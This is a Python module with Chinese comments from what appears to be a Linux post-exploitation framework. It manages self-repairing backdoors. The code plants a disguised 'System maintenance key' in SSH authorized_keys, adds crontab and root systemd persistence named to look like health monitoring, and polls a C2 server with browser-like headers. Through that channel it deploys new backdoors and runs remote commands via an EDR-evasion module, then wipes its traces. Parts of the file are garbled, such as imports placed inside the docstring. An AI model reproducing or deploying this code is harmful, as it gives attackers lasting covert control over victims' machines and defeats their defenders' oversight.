#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""

from __future__ import print_function
from __future__ import unicode_literals
from __future__ import division
from __future__ import absolute_import

持久化管理模块
提供自我修复、动态更新、多重备份等高级持久化能力
集成隐蔽性改进功能
"""

import os
import sys
import subprocess
import time
import random
import string
import json
import hashlib
import threading
from datetime import datetime, timedelta
from core.utils import color_green, color_red, color_yellow, color_blue, run_command_compat

# 导入安全工具
try:
    from core.security_utils import SecureCommandExecutor, SecurityValidator, PermissionChecker
    SECURITY_UTILS_AVAILABLE = True
except ImportError:
    SECURITY_UTILS_AVAILABLE = False
    color_yellow("安全工具模块不可用，将使用基本安全检查")

# Python 2/3 兼容性处理
if sys.version_info[0] == 2:
    string_types = basestring
    text_type = unicode
    def iteritems(d):
        return d.iteritems()
    def itervalues(d):
        return d.itervalues()
else:
    string_types = str
    text_type = str
    def iteritems(d):
        return d.items()
    def itervalues(d):
        return d.values()

# 导入隐蔽性模块
try:
    from modules.stealth.disguise_generator import DisguiseNameGenerator
    from modules.stealth.trace_cleaner import trace_cleaner, auto_cleanup_on_exit as auto_clean_traces
    from modules.stealth.firewall_adapter import firewall_adapter, auto_configure_firewall
    from modules.stealth.enhanced_backdoor_deployer import enhanced_deployer
    STEALTH_AVAILABLE = True
except ImportError as e:
    print("隐蔽性模块导入失败: {}".format(e))
    STEALTH_AVAILABLE = False

class BackdoorHealthMonitor:
    """后门健康监控器"""
    
    def __init__(self, config_file="/tmp/.system_health.con"):
        self.config_file = config_file
        self.backdoors = {}
        self.monitoring = False
        self.monitor_thread = None
        
    def register_backdoor(self, backdoor_id, backdoor_type, check_command, repair_command, critical=True):
        ".format()""注册后门到监控系统"""
        self.backdoors[backdoor_id] = {
            'type': backdoor_type,
            'check_command': check_command,
            'repair_command': repair_command,
            'critical': critical,
            'last_check': None,
            'status': 'unknown',
            'failure_count': 0,
            'created_time': datetime.now().isoformat()
        }
        self.save_config()
        color_green("✓ 已注册后门监控: {} ({})".format(backdoor_id, backdoor_type))
    
    def check_backdoor_health(self, backdoor_id):
        """检查单个后门健康状态"""
        if backdoor_id not in self.backdoors:
            return False
            
        backdoor = self.backdoors[backdoor_id]
        try:
            # 使用安全命令执行器
            if SECURITY_UTILS_AVAILABLE:
                # 验证命令安全性
                if not SecurityValidator.validate_command(backdoor['check_command']):
                    color_red("后门检查命令不安全: {}".format(backdoor_id))
                    backdoor['status'] = 'error'
                    backdoor['failure_count'] += 1
                    return False
                
                # 安全执行命令
                result = SecureCommandExecutor.execute_safe_command(
                    backdoor['check_command'], 
                    timeout=30,
                    allowed_commands=['systemctl', 'crontab', 'ps', 'pgrep', 'test', 'ls', 'cat']
                )
                
                backdoor['last_check'] = datetime.now().isoformat()
                
                if result.get('returncode') == 0:
                    backdoor['status'] = 'healthy'
                    backdoor['failure_count'] = 0
                    return True
                else:
                    backdoor['status'] = 'failed'
                    backdoor['failure_count'] += 1
                    if result.get('error'):
                        color_red("后门检查失败 {}: {}".format(backdoor_id, result['error']))
                    return False
            else:
                # 回退到原始方法
                result = subprocess.run(backdoor['check_command'], shell=True,
                                      stdout=subprocess.PIPE, stderr=subprocess.PIPE, timeout=30)
                
                backdoor['last_check'] = datetime.now().isoformat()
                
                if result.returncode == 0:
                    backdoor['status'] = 'healthy'
                    backdoor['failure_count'] = 0
                    return True
                else:
                    backdoor['status'] = 'failed'
                    backdoor['failure_count'] += 1
                    return False
                
        except Exception as e:
            backdoor['status'] = 'error'
            backdoor['failure_count'] += 1
            color_red("检查后门 {} 时出错: {}".format(backdoor_id, e))
            return False
    
    def repair_backdoor(self, backdoor_id):
        """修复失败的后门"""
        if backdoor_id not in self.backdoors:
            return False
            
        backdoor = self.backdoors[backdoor_id]
        
        if 'repair_command' not in backdoor:
            color_yellow("后门 {} 没有修复命令".format(backdoor_id))
            return False
            
        try:
            color_yellow("正在修复后门: {}".format(backdoor_id))
            
            # 使用安全命令执行器
            if SECURITY_UTILS_AVAILABLE:
                # 验证修复命令安全性
                if not SecurityValidator.validate_command(backdoor['repair_command']):
                    color_red("后门修复命令不安全: {}".format(backdoor_id))
                    return False
                
                # 检查权限
                if not PermissionChecker.check_root_permission():
                    color_red("修复后门需要root权限")
                    return False
                
                # 安全执行修复命令
                result = SecureCommandExecutor.execute_safe_command(
                    backdoor['repair_command'], 
                    timeout=60,
                    allowed_commands=['systemctl', 'crontab', 'chmod', 'chown', 'cp', 'mv', 'mkdir', 'echo']
                )
                
                if result.get('returncode') == 0:
                    color_green("后门 {} 修复成功".format(backdoor_id))
                    backdoor['status'] = 'healthy'
                    backdoor['failure_count'] = 0
                    backdoor['last_repair'] = datetime.now().isoformat()
                    return True
                else:
                    color_red("后门 {} 修复失败".format(backdoor_id))
                    if result.get('error'):
                        color_red("错误详情: {}".format(result['error']))
                    return False
            else:
                # 回退到原始方法
                result = subprocess.run(backdoor['repair_command'], shell=True,
                                      stdout=subprocess.PIPE, stderr=subprocess.PIPE, timeout=60)
                
                if result.returncode == 0:
                    color_green("后门 {} 修复成功".format(backdoor_id))
                    backdoor['status'] = 'healthy'
                    backdoor['failure_count'] = 0
                    backdoor['last_repair'] = datetime.now().isoformat()
                    return True
                else:
                    color_red("后门 {} 修复失败".format(backdoor_id))
                    return False
                
        except Exception as e:
            color_red("修复后门 {} 时出错: {}".format(backdoor_id, e))
            return False
    
    def monitor_loop(self):
        """监控循环"""
        while self.monitoring:
            try:
                for backdoor_id in list(self.backdoors.keys()):
                    if not self.check_backdoor_health(backdoor_id):
                        backdoor = self.backdoors[backdoor_id]
                        
                        # 如果是关键后门且失败次数较少，尝试修复
                        if backdoor['critical'] and backdoor['failure_count'] <= 3:
                            self.repair_backdoor(backdoor_id)
                        elif backdoor['failure_count'] > 5:
                            color_red("后门 {} 失败次数过多，停止监控".format(backdoor_id))
                            del self.backdoors[backdoor_id]
                
                self.save_config()
                time.sleep(300)  # 每5分钟检查一次
                
            except Exception as e:
                color_red("监控循环出错: {}".format(e))
                time.sleep(60)
    
    def start_monitoring(self):
        """启动监控"""
        if not self.monitoring:
            self.monitoring = True
            self.monitor_thread = threading.Thread(target=self.monitor_loop, daemon=True)
            self.monitor_thread.start()
            color_green("✓ 后门健康监控已启动")
    
    def stop_monitoring(self):
        """停止监控"""
        self.monitoring = False
        if self.monitor_thread:
            self.monitor_thread.join(timeout=5)
        color_yellow("后门健康监控已停止")
    
    def save_config(self):
        """保存配置到文件"""
        try:
            with open(self.config_file, 'w') as f:
                json.dump(self.backdoors, f, indent=2)
        except Exception as e:
            color_red("保存配置失败: {}".format(e))
    
    def load_config(self):
        """从文件加载配置"""
        try:
            if os.path.exists(self.config_file):
                with open(self.config_file, 'r') as f:
                    self.backdoors = json.load(f)
                color_green("✓ 已加载 {} 个后门配置".format(len(self.backdoors)))
        except Exception as e:
            color_red("加载配置失败: {}".format(e))

class DynamicUpdater:
    """动态更新器"""
    
    def __init__(self, c2_server=None, update_key=None):
        self.c2_server = c2_server
        self.update_key = update_key
        self.update_interval = 3600  # 1小时检查一次更新
        
    def generate_update_signature(self, content):
        """生成更新签名"""
        if self.update_key:
            signature_data = content + self.update_key
            return hashlib.sha256(signature_data.encode()).hexdigest()
        return None
    
    def verify_update_signature(self, content, signature):
        """验证更新签名"""
        if not self.update_key or not signature:
            return False
        expected_signature = self.generate_update_signature(content)
        return expected_signature == signature
    
    def check_for_updates(self):
        """检查更新"""
        if not self.c2_server:
            return None
            
        try:
            # 构造更新检查请求
            import urllib.request
            import urllib.parse
            
            # 伪装成正常的HTTP请求
            headers = {
                'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36',
                'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
            }
            
            # 使用隐蔽的URL路径
            update_url = "{}/api/system/health".format(self.c2_server)
            
            req = urllib.request.Request(update_url, headers=headers)
            response = urllib.request.urlopen(req, timeout=30)
            
            if response.status == 200:
                update_data = response.read().decode('utf-8')
                return json.loads(update_data)
            else:
                return None
                
        except Exception as e:
            color_yellow("检查更新失败: {}".format(e))
            return None
    
    def apply_update(self, update_data):
        """应用更新"""
        try:
            if 'signature' not in update_data or 'content' not in update_data:
                color_red("更新数据格式错误")
                return False
            
            # 验证签名
            if not self.verify_update_signature(update_data['content'], update_data['signature']):
                color_red("更新签名验证失败")
                return False
            
            # 解析更新内容
            update_content = json.loads(update_data['content'])
            
            # 应用不同类型的更新
            if update_content.get('type') == 'backdoor_config':
                return self.update_backdoor_config(update_content['data'])
            elif update_content.get('type') == 'new_backdoor':
                return self.deploy_new_backdoor(update_content['data'])
            elif update_content.get('type') == 'command_execution':
                return self.execute_remote_command(update_content['data'])
            else:
                color_red("未知更新类型: {}".format(update_content.get('type')))
                return False
                
        except Exception as e:
            color_red("应用更新失败: {}".format(e))
            return False
    
    def update_backdoor_config(self, config_data):
        """更新后门配置"""
        try:
            # 更新监控间隔、C2服务器地址等
            if 'monitor_interval' in config_data:
                self.update_interval = config_data['monitor_interval']
            
            if 'c2_server' in config_data:
                self.c2_server = config_data['c2_server']
            
            color_green("✓ 后门配置已更新")
            return True
        except Exception as e:
            color_red("更新后门配置失败: {}".format(e))
            return False
    
    def deploy_new_backdoor(self, backdoor_data):
        """部署新后门"""
        try:
            backdoor_type = backdoor_data.get('type')
            backdoor_config = backdoor_data.get('config', {})
            
            # 根据类型部署新后门
            if backdoor_type == 'ssh_key':
                return self.deploy_ssh_key_backdoor(backdoor_config)
            elif backdoor_type == 'crontab':
                return self.deploy_crontab_backdoor(backdoor_config)
            elif backdoor_type == 'service':
                return self.deploy_service_backdoor(backdoor_config)
            else:
                color_red("未知后门类型: {}".format(backdoor_type))
                return False
                
        except Exception as e:
            color_red("部署新后门失败: {}".format(e))
            return False
    
    def execute_remote_command(self, command_data):
        """执行远程命令"""
        try:
            command = command_data.get('command')
            if not command:
                return False
            
            # 使用EDR规避技术执行命令
            from modules.security.edr_evasion import EDREvasionManager
            edr_manager = EDREvasionManager()
            
            success, output = edr_manager.execute_stealthy_command(command)
            
            if success:
                color_green(f"✓ 远程命令执行成功")
                # 可以选择将输出发送回C2服务器
                return True
            else:
                color_red("远程命令执行失败: {}".format(output))
                return False
                
        except Exception as e:
            color_red("执行远程命令失败: {}".format(e))
            return False

class MultiLayerPersistence:
    """多层持久化管理器"""
    
    def __init__(self):
        self.persistence_methods = []
        self.health_monitor = BackdoorHealthMonitor()
        self.updater = DynamicUpdater()
        self.stealth_enabled = STEALTH_AVAILABLE
        self.disguise_names = {}
        
        # 初始化隐蔽性功能
        if self.stealth_enabled:
            try:
                name_gen = DisguiseNameGenerator()
                self.disguise_names = name_gen.generate_disguised_names(count=3)
                color_green("✓ 隐蔽性功能已启用")
            except Exception as e:
                color_yellow("隐蔽性功能初始化失败: {}".format(e))
                self.stealth_enabled = False
        
    def add_persistence_layer(self, method_name, deploy_func, check_func, repair_func, priority=1):
        """添加持久化层"""
        layer = {
            'name': method_name,
            'deploy_func': deploy_func,
            'check_func': check_func,
            'repair_func': repair_func,
            'priority': priority,
            'deployed': False,
            'last_check': None
        }
        self.persistence_methods.append(layer)
        
        # 按优先级排序
        self.persistence_methods.sort(key=lambda x: x['priority'], reverse=True)
        
    def deploy_all_layers(self):
        """部署所有持久化层"""
        color_blue("开始部署多层持久化...")
        
        deployed_count = 0
        for layer in self.persistence_methods:
            try:
                color_yellow("部署持久化层: {}".format(layer['name']))
                
                if layer['deploy_func']():
                    layer['deployed'] = True
                    deployed_count += 1
                    
                    # 注册到健康监控
                    self.health_monitor.register_backdoor(
                        layer['name'],
                        'persistence_layer',
                        layer['check_func'],
                        layer['repair_func'],
                        critical=(layer['priority'] >= 3)
                    )
                    
                    color_green("✓ {} 部署成功".format(layer['name']))
                else:
                    color_red("✗ {} 部署失败".format(layer['name']))
                    
            except Exception as e:
                color_red("部署 {} 时出错: {}".format(layer['name'], e))
        
        color_blue("多层持久化部署完成: {}/{} 层成功".format(deployed_count, len(self.persistence_methods)))
        
        # 启动健康监控
        if deployed_count > 0:
            self.health_monitor.start_monitoring()
            
        return deployed_count
    
    def create_ssh_persistence(self):
        """创建SSH持久化"""
        def deploy():
            try:
                ssh_dir = os.path.expanduser("~/.ssh")
                authorized_keys = os.path.join(ssh_dir, "authorized_keys")
                
                if not os.path.exists(ssh_dir):
                    os.makedirs(ssh_dir, 0o700)
                
                # 生成隐蔽的SSH密钥
                key_comment = "user@{}-server".format(random.choice(['ubuntu', 'centos', 'debian']))
                subprocess.run(['ssh-keygen', '-t', 'ed25519', '-f', '/tmp/.ssh_key', 
                              '-N', '', '-C', key_comment], 
                              stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                
                with open('/tmp/.ssh_key.pub', 'r') as f:
                    public_key = f.read().strip()
                
                # 添加到authorized_keys，使用隐蔽的格式
                with open(authorized_keys, 'a') as f:
                    f.write("\n# System maintenance key - {}\n".format(datetime.now().strftime('%Y-%m-%d')))
                    f.write("{}\n".format(public_key))
                
                os.chmod(authorized_keys, 0o600)
                return True
            except:
                return False
        
        def check():
            try:
                authorized_keys = os.path.expanduser("~/.ssh/authorized_keys")
                if os.path.exists(authorized_keys):
                    with open(authorized_keys, 'r') as f:
                        content = f.read()
                    return "System maintenance key" in content
                return False
            except:
                return False
        
        def repair():
            return deploy()  # 重新部署
        
        self.add_persistence_layer("SSH密钥持久化", deploy, check, repair, priority=5)
    
    def create_crontab_persistence(self):
        """创建Crontab持久化"""
        def deploy():
            try:
                # 使用隐蔽性改进
                if self.stealth_enabled:
                    # 使用增强后门部署器
                    config = {
                        'schedule': '*/30 * * * *',
                        'lhost': '127.0.0.1',
                        'lport': 4444
                    }
                    result = enhanced_deployer.deploy_crontab_backdoor(config)
                    return result.get('success', False)
                else:
                    # 原有的部署方式
                    cron_command = f"*/30 * * * * /bin/bash -c 'if ! pgrep -f system-health; then nohup /bin/bash -c \"while true; do sleep 300; done\" & fi' >/dev/null 2>&1"
                    
                    # 获取当前crontab
                    result = subprocess.run(['crontab', '-l'], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
                    current_cron = result.stdout if result.returncode == 0 else ""
                    
                    # 添加新任务
                    new_cron = current_cron + "\n{}\n".format(cron_command)
                    
                    # 设置新的crontab
                    process = subprocess.Popen(['crontab', '-'], stdin=subprocess.PIPE, text=True)
                    process.communicate(input=new_cron)
                    
                    return process.returncode == 0
            except:
                return False
        
        def check():
            try:
                result = subprocess.run(['crontab', '-l'], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
                return "system-health" in result.stdout
            except:
                return False
        
        def repair():
            return deploy()
        
        self.add_persistence_layer("Crontab持久化", deploy, check, repair, priority=4)
    
    def create_systemd_persistence(self):
        """创建Systemd服务持久化"""
        def deploy():
            try:
                service_name = "system-health-{}".format(random.randint(1000, 9999))
                service_content = f"""[Unit]
Description=System Health Monitor
After=network.target

[Service]
Type=simple
ExecStart=/bin/bash -c 'while true; do sleep 300; done'
Restart=always
RestartSec=30
User=root

[Install]
WantedBy=multi-user.target
"""
                
                service_file = "/etc/systemd/system/{}.service".format(service_name)
                with open(service_file, 'w') as f:
                    f.write(service_content)
                
                subprocess.run(['systemctl', 'daemon-reload'], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                subprocess.run(['systemctl', 'enable', service_name], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                subprocess.run(['systemctl', 'start', service_name], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                
                return True
            except:
                return False
        
        def check():
            try:
                result = subprocess.run(['systemctl', 'list-units', '--type=service', '--state=active'], 
                                      stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
                return "system-health" in result.stdout
            except:
                return False
        
        def repair():
            return deploy()
        
        self.add_persistence_layer("Systemd服务持久化", deploy, check, repair, priority=3)
    
    def setup_comprehensive_persistence(self, c2_server=None, update_key=None):
        """设置全面的持久化机制"""
        color_blue("设置全面持久化机制...")
        
        # 配置动态更新器
        if c2_server:
            self.updater.c2_server = c2_server
            self.updater.update_key = update_key
        
        # 创建多层持久化
        self.create_ssh_persistence()
        self.create_crontab_persistence()
        self.create_systemd_persistence()
        
        # 部署所有层
        deployed_count = self.deploy_all_layers()
        
        # 清理痕迹（如果启用了隐蔽性功能）
        if self.stealth_enabled and deployed_count > 0:
            try:
                color_yellow("清理部署痕迹...")
                cleanup_result = auto_clean_traces()
                if cleanup_result.get('success'):
                    color_green("✓ 部署痕迹清理完成")
                else:
                    color_yellow("部分痕迹清理失败")
            except Exception as e:
                color_yellow("痕迹清理失败: {}".format(e))
        
        if deployed_count > 0:
            color_green("✓ 全面持久化设置完成，共部署 {} 层".format(deployed_count))
            return True
        else:
            color_red("全面持久化设置失败")
            return False